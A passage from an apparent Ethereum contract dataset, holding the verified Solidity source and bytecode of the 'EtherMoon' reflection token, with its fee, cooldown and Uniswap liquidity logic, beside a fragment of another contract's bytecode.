d08d278845f9d819d87b734759afb55fe2de5cb82a9ae672019060208401906145c5565b60606001805480602002602001604051908101604052809291908181526020018280548015610fda57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311613d4d575050505050905090565b60006001600160e01b031982166380ac58cd60e01b1480613da557506001600160e01b03198216635b5e139f60e01b145b80610f4c5750610f4c82614198565b600080600080613dc3856141cd565b6040805160008152602081018083528b905260ff8516918101919091526060810183905260808101829052929550909350915060019060a0016020604051602081039080840390855afa158015613e1e573d6000803e3d6000fd5b5050604051601f190151979650505050505050565b61166b8282604051806020016040528060008152506141fc565b600080613e5983611df4565b61ffff16905082600085613f2c578260355443403344425a6040805160208101979097526f37bab929b0b63a20b7322832b83832b960811b90870152605086019490945260609290921b6001600160601b0319166070850152608484015260a483015260c482015260e4016040516020818303038152906040528051906020012060001c613ee791906153d3565b60398360ff1660038110613efd57613efd615073565b601091828204019190066002029054906101000a900461ffff1661ffff16613f25919061534c565b9050613f3a565b5084613f378161151e565b91505b8160000b6000191415613f535760009350505050610f4c565b600082810b815260366020526040812082612a888110613f7557613f75615073565b015415613fa757600083810b815260366020526040902082612a888110613f9e57613f9e615073565b01549050613faa565b50805b600083810b8152603660205260409020613fc560018661509f565b612a888110613fd657613fd6615073565b015461401057613fe760018561509f565b600084810b815260366020526040902083612a88811061400957614009615073565b0155614063565b600083810b815260366020526040902061402b60018661509f565b612a88811061403c5761403c615073565b0154600084810b815260366020526040902083612a88811061406057614060615073565b01555b603580549060006140738361519f565b9091555090979650505050505050565b61118f83838361422f565b60006001600160a01b0384163b1561419057604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906140d29033908990889088906004016153e7565b602060405180830381600087803b1580156140ec57600080fd5b505af192505050801561411c575060408051601f3d908101601f1916820190925261411991810190615424565b60015b614176573d80801561414a576040519150601f19603f3d011682016040523d82523d6000602084013e61414f565b606091505b50805161416e5760405162461bcd60e51b815260040161105990615381565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061134d565b50600161134d565b60006001600160e01b03198216630271189760e51b1480610f4c57506301ffc9a760e01b6001600160e01b0319831614610f4c565b600080600083516041146141e057600080fd5b5050506020810151604082015160609092015160001a92909190565b61420683836142e7565b614213600084848461408e565b61118f5760405162461bcd60e51b815260040161105990615381565b6001600160a01b03831661428a5761428581600b80546000838152600c60205260408120829055600182018355919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90155565b6142ad565b816001600160a01b0316836001600160a01b0316146142ad576142ad8382614435565b6001600160a01b0382166142c45761118f816144d2565b826001600160a01b0316826001600160a01b03161461118f5761118f8282614581565b6001600160a01b03821661433d5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401611059565b6000818152600560205260409020546001600160a01b0316156143a25760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401611059565b6143ae60008383614083565b6001600160a01b03821660009081526006602052604081208054600192906143d790849061534c565b909155505060008181526005602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000600161444284613578565b61444c919061509f565b6000838152600a602052604090205490915080821461449f576001600160a01b03841660009081526009602090815260408083208584528252808320548484528184208190558352600a90915290208190555b506000918252600a602090815260408084208490556001600160a01b039094168352600981528383209183525290812055565b600b546000906144e49060019061509f565b6000838152600c6020526040812054600b805493945090928490811061450c5761450c615073565b9060005260206000200154905080600b838154811061452d5761452d615073565b6000918252602080832090910192909255828152600c9091526040808220849055858252812055600b80548061456557614565615441565b6001900381819060005260206000200160009055905550505050565b600061458c83613578565b6001600160a01b0390931660009081526009602090815260408083208684528252808320859055938252600a9052919091209190915550565b8280546145d190614ef0565b90600052602060002090601f0160209004810192826145f35760008555614639565b82601f1061460c57805160ff1916838001178555614639565b82800160010185558215614639579182015b8281111561463957825182559160200191906001019061461e565b50614645929150614649565b5090565b5b80821115614645576000815560010161464a565b6001600160a01b0392909216825260208201526060604082018190526017908201527f646972656374207061796d656e742c206e6f2073616c65000000000000000000608082015260a00190565b6001600160a01b0381168114612bfd57600080fd5b6000602082840312156146d357600080fd5b8135612896816146ac565b6001600160e01b031981168114612bfd57600080fd5b60006020828403121561470657600080fd5b8135612896816146de565b60005b8381101561472c578181015183820152602001614714565b838111156114235750506000910152565b60008151808452614755816020860160208601614711565b601f01601f19169290920160200192915050565b602081526000612896602083018461473d565b60006020828403121561478e57600080fd5b5035919050565b600080604083850312156147a857600080fd5b82356147b3816146ac565b946020939093013593505050565b803560ff811681146147d257600080fd5b919050565b6000806000606084860312156147ec57600080fd5b83356147f7816146ac565b92506020840135614807816146ac565b9150614815604085016147c1565b90509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561485c5761485c61481e565b604052919050565b600082601f83011261487557600080fd5b81356001600160401b0381111561488e5761488e61481e565b6148a1601f8201601f1916602001614834565b8181528460208386010111156148b657600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080600060a086880312156148eb57600080fd5b8535945060208601359350604086013592506060860135915060808601356001600160401b0381111561491d57600080fd5b61492988828901614864565b9150509295509295909350565b6000806000806080858703121561494c57600080fd5b8435614957816146ac565b93506020850135614967816146ac565b92506040850135915060608501356001600160401b0381111561498957600080fd5b61499587828801614864565b91505092959194509250565b600080604083850312156149b457600080fd5b8235915060208301356001600160401b038111156149d157600080fd5b6149dd85828601614864565b9150509250929050565b600082601f8301126149f857600080fd5b813560206001600160401b03821115614a1357614a1361481e565b8160051b614a22828201614834565b9283528481018201928281019087851115614a3c57600080fd5b83870192505b84831015614a5b57823582529183019190830190614a42565b979650505050505050565b60008060008060808587031215614a7c57600080fd5b8435614a87816146ac565b935060208501356001600160401b0380821115614aa357600080fd5b614aaf888389016149e7565b94506040870135915080821115614ac557600080fd5b50614ad2878288016149e7565b9250506060850135614ae3816146ac565b939692955090935050565b600080600060608486031215614b0357600080fd5b8335614b0e816146ac565b92506020840135614b1e816146ac565b929592945050506040919091013590565b8015158114612bfd57600080fd5b60008060408385031215614b5057600080fd5b8235614b5b816146ac565b91506020830135614b6b81614b2f565b809150509250929050565b600080600080600080600060e0888a031215614b9157600080fd5b614b9a886147c1565b96506020880135955060408801359450606088013593506080880135925060a0880135915060c08801356001600160401b03811115614bd857600080fd5b614be48a828b01614864565b91505092959891949750929550565b600060208284031215614c0557600080fd5b612896826147c1565b600060208284031215614c2057600080fd5b81356001600160401b03811115614c3657600080fd5b61134d84828501614864565b600080600060608486031215614c5757600080fd5b8335614c62816146ac565b9250602084013591506040840135614c79816146ac565b809150509250925092565b60008060408385031215614c9757600080fd5b8235614ca2816146ac565b9150614cb0602084016147c1565b90509250929050565b600081518084526020808501945080840160005b83811015614ce957815187529582019590820190600101614ccd565b509495945050505050565b6020815260006128966020830184614cb9565b600080600080600060a08688031215614d1f57600080fd5b8535614d2a816146ac565b94506020860135614d3a816146ac565b935060408601356001600160401b0380821115614d5657600080fd5b614d6289838a016149e7565b94506060880135915080821115614d7857600080fd5b614d8489838a016149e7565b93506080880135915080821115614d9a57600080fd5b5061492988828901614864565b60008060408385031215614dba57600080fd5b8235614dc5816146ac565b91506020830135614b6b816146ac565b600080600060608486031215614dea57600080fd5b833592506020840135915060408401356001600160401b03811115614e0e57600080fd5b614e1a86828701614864565b9150509250925092565b6020808252825182820181905260009190848201906040850190845b81811015614e655783516001600160a01b031683529284019291840191600101614e40565b50909695505050505050565b600080600080600060a08688031215614e8957600080fd5b8535614e94816146ac565b94506020860135614ea4816146ac565b9350604086013592506060860135915060808601356001600160401b0381111561491d57600080fd5b60008060408385031215614ee057600080fd5b82359150614cb0602084016147c1565b600181811c90821680614f0457607f821691505b6020821081141561230457634e487b7160e01b600052602260045260246000fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b602080825260079082015266115e1c1a5c995960ca1b604082015260600190565b60609590951b6001600160601b0319168552601485019390935260348401919091526054830152607482015260940190565b6020808252600d908201526c15dc9bdb99c81c185e5b595b9d609a1b604082015260600190565b6001600160a01b0392909216825260208201526060604082018190526017908201527f7061796d656e74206279206d696e74696e672073616c65000000000000000000608082015260a00190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000828210156150b1576150b1615089565b500390565b600061ffff8083168185168083038211156150d3576150d3615089565b01949350505050565b600061ffff838116908316818110156150f7576150f7615089565b039392505050565b600060ff821660ff81141561511657615116615089565b60010192915050565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052601260045260246000fd5b60008261517b5761517b615156565b500490565b600081600019048311821515161561519a5761519a615089565b500290565b60006000198214156151b3576151b3615089565b5060010190565b6000600160ff1b8214156151d0576151d0615089565b506000190190565b600060ff821660ff8416808210156151f2576151f2615089565b90039392505050565b600060ff82168061520e5761520e615089565b6000190192915050565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60008351615279818460208801614711565b8351908301906150d3818360208801614711565b60006020828403121561529f57600080fd5b8151612896816146ac565b600060ff821660ff84168060ff038211156152c7576152c7615089565b019392505050565b600061ffff808316818114156152e7576152e7615089565b6001019392505050565b6001600160a01b0385811682528416602082015260a06040820181905260009061531d90830185614cb9565b828103606084015261532f8185614cb9565b838103608090940193909352505060008152602001949350505050565b6000821982111561535f5761535f615089565b500190565b60006020828403121561537657600080fd5b815161289681614b2f565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6000826153e2576153e2615156565b500690565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061541a9083018461473d565b9695505050505050565b60006020828403121561543657600080fd5b8151612896816146de565b634e487b7160e01b600052603160045260246000fdfe53bd392522b272902b85d06641a5c298f18e160fffff1e84a020e622f7922810a26469706673582212206b825dca1c19228247f47b9b833b53fb78b32ab0d7f671d314a8e1359efc56ea64736f6c63430008090033
[ 4, 7, 16, 10, 5 ]
0xf2bda53ccbffcff37180adc996fbfb247f47bb62
/** *Submitted for verification at Etherscan.io on 2021-07-15 */ /** Website: https://ethermoon.network/ Telegram: https://t.me/EtherMoonOfficial Twitter: https://twitter.com/EtherMoonTeam */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EtherMoon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"EtherMoon"; string private constant _symbol = unicode"EMOON"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 8; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 30; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(2)).div(10); _teamFee = (_impactFee.mul(10)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 2; _teamFee = 10; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 2000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (90 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610371578063c3c8cd8014610391578063c9567bf9146103a6578063db92dbb6146103bb578063dd62ed3e146103d0578063e8078d941461041657600080fd5b8063715018a6146102c75780638da5cb5b146102dc57806395d89b4114610304578063a9059cbb14610332578063a985ceef1461035257600080fd5b8063313ce567116100fd578063313ce5671461021457806345596e2e146102305780635932ead11461025257806368a3a6a5146102725780636fc3eaec1461029257806370a08231146102a757600080fd5b806306fdde0314610145578063095ea7b31461018957806318160ddd146101b957806323b872dd146101df57806327f3a72a146101ff57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600981526822ba3432b926b7b7b760b91b60208201525b6040516101809190611be5565b60405180910390f35b34801561019557600080fd5b506101a96101a4366004611b3d565b61042b565b6040519015158152602001610180565b3480156101c557600080fd5b50683635c9adc5dea000005b604051908152602001610180565b3480156101eb57600080fd5b506101a96101fa366004611afd565b610442565b34801561020b57600080fd5b506101d16104ab565b34801561022057600080fd5b5060405160098152602001610180565b34801561023c57600080fd5b5061025061024b366004611ba0565b6104bb565b005b34801561025e57600080fd5b5061025061026d366004611b68565b610564565b34801561027e57600080fd5b506101d161028d366004611a8d565b6105e3565b34801561029e57600080fd5b50610250610606565b3480156102b357600080fd5b506101d16102c2366004611a8d565b610633565b3480156102d357600080fd5b50610250610655565b3480156102e857600080fd5b506000546040516001600160a01b039091168152602001610180565b34801561031057600080fd5b5060408051808201909152600581526422a6a7a7a760d91b6020820152610173565b34801561033e57600080fd5b506101a961034d366004611b3d565b6106c9565b34801561035e57600080fd5b50601454600160a81b900460ff166101a9565b34801561037d57600080fd5b506101d161038c366004611a8d565b6106d6565b34801561039d57600080fd5b506102506106fc565b3480156103b257600080fd5b50610250610732565b3480156103c757600080fd5b506101d161077f565b3480156103dc57600080fd5b506101d16103eb366004611ac5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042257600080fd5b50610250610797565b6000610438338484610b4a565b5060015b92915050565b600061044f848484610c6e565b6104a1843361049c85604051806060016040528060288152602001611dbe602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611210565b610b4a565b5060019392505050565b60006104b630610633565b905090565b6011546001600160a01b0316336001600160a01b0316146104db57600080fd5b603381106105285760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461058e5760405162461bcd60e51b815260040161051f90611c38565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610559565b6001600160a01b03811660009081526006602052604081205461043c9042611d28565b6011546001600160a01b0316336001600160a01b03161461062657600080fd5b476106308161124a565b50565b6001600160a01b03811660009081526002602052604081205461043c906112cf565b6000546001600160a01b0316331461067f5760405162461bcd60e51b815260040161051f90611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610438338484610c6e565b6001600160a01b03811660009081526006602052604081206001015461043c9042611d28565b6011546001600160a01b0316336001600160a01b03161461071c57600080fd5b600061072730610633565b905061063081611353565b6000546001600160a01b0316331461075c5760405162461bcd60e51b815260040161051f90611c38565b6014805460ff60a01b1916600160a01b17905561077a42605a611cdd565b601555565b6014546000906104b6906001600160a01b0316610633565b6000546001600160a01b031633146107c15760405162461bcd60e51b815260040161051f90611c38565b601454600160a01b900460ff161561081b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051f565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108583082683635c9adc5dea00000610b4a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089157600080fd5b505afa1580156108a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c99190611aa9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091157600080fd5b505afa158015610925573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109499190611aa9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099157600080fd5b505af11580156109a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c99190611aa9565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d71947306109f981610633565b600080610a0e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aaa9190611bb8565b5050671bc16d674ec800006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b0e57600080fd5b505af1158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b469190611b84565b5050565b6001600160a01b038316610bac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051f565b6001600160a01b038216610c0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051f565b6001600160a01b038216610d345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051f565b60008111610d965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051f565b6000546001600160a01b03848116911614801590610dc257506000546001600160a01b03838116911614155b156111b357601454600160a81b900460ff1615610e42573360009081526006602052604090206002015460ff16610e4257604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e6d57506013546001600160a01b03838116911614155b8015610e9257506001600160a01b03821660009081526005602052604090205460ff16155b15610ff557601454600160a01b900460ff16610ef05760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161051f565b6002600955600a8055601454600160a81b900460ff1615610fbb57426015541115610fbb57601054811115610f2457600080fd5b6001600160a01b0382166000908152600660205260409020544211610f965760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161051f565b610fa142602d611cdd565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff1615610ff557610fd842600f611cdd565b6001600160a01b0383166000908152600660205260409020600101555b600061100030610633565b601454909150600160b01b900460ff1615801561102b57506014546001600160a01b03858116911614155b80156110405750601454600160a01b900460ff165b156111b157601454600160a81b900460ff16156110cd576001600160a01b03